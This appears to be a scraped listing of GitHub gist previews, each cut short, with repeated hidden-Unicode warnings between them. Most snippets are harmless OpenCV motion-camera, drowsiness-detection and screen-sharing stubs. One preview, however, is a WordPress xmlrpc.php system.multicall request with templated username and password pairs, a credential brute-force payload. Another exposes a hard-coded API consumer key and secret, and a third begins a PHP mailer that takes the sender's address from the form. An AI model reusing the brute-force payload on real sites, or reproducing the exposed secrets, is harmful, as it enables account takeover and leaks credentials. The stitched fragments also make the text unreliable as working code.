This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
consumer_key ="Dm7vBmrotolUjrt3Ke7Rq6pZH" | |
consumer_secret ="4bW1tLOsoUzui7kMyfMTsf6o1ADKidjStSbB6J3jyGIA5Qf1mO" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
POST /xmlrpc.php HTTP/1.1 | |
Host: campo.com | |
Content-Length: 2430 | |
<?xml version="2.0"?> | |
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data> | |
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{Username \}\}</string></value><value><string>\{\{Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> | |
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{Username \}\}</string></value><value><string>\{\{Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
session_start(); | |
if ($_POST['Submit'] == 'Send'){ | |
$to = $_POST['toemail']; | |
$subject = $_POST['subject']; | |
$message = $_POST['message']; | |
$fromemail = $_POST['fromemail']; | |
$fromname = $_POST['fromname']; | |
$lt= '<'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scipy.spatial import distance as dist | |
from imutils.video import VideoStream | |
from imutils import face_utils | |
from threading import Thread | |
import numpy as np | |
import playsound | |
import argparse | |
import imutils | |
import time | |
import dlib |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scipy.spatial import distance as dist | |
from imutils.video import VideoStream | |
from imutils import face_utils | |
from threading import Thread | |
import numpy as np | |
import playsound | |
import argparse | |
import imutils | |
import time | |
import dlib |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cv2 | |
guardcam = cv2.VideoCapture(0) | |
while guardcam.isOpened(): | |
ret, frame1 = guardcam.read() | |
ret, frame2 = guardcam.read() | |
diff = cv2.absdiff(frame1, frame2) | |
gray = cv2.cvtColor(diff, cv2.COLOR_RGB2GRAY) | |
blur = cv2.GaussianBlur(gray, (5, 5), 0) | |
_, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dilated = cv2.dilate(thresh, None, iterations=3) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cv2 | |
guardcam = cv2.VideoCapture(0) | |
while guardcam.isOpened(): | |
ret, frame1 = guardcam.read() | |
ret, frame2 = guardcam.read() | |
diff = cv2.absdiff(frame1, frame2) | |
gray = cv2.cvtColor(diff, cv2.COLOR_RGB2GRAY) | |
blur = cv2.GaussianBlur(gray, (5, 5), 0) | |
_, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY) | |
dilated = cv2.dilate(thresh, None, iterations=3) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from vidstream import StreamingServer | |
import threading | |
receiver = StreamingServer('privateipadress', 'port') | |
t = threading.Thread(target=receiver.start_server) | |
t.start() | |
while input("") != 'q': | |
continue |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from vidstream import ScreenShareClient | |
import threading | |
sender = ScreenShareClient('ip', 'port') | |
t = threading.Thread(target=sender.start_stream) | |
t.start() | |
while input("") != 'q': | |
continue |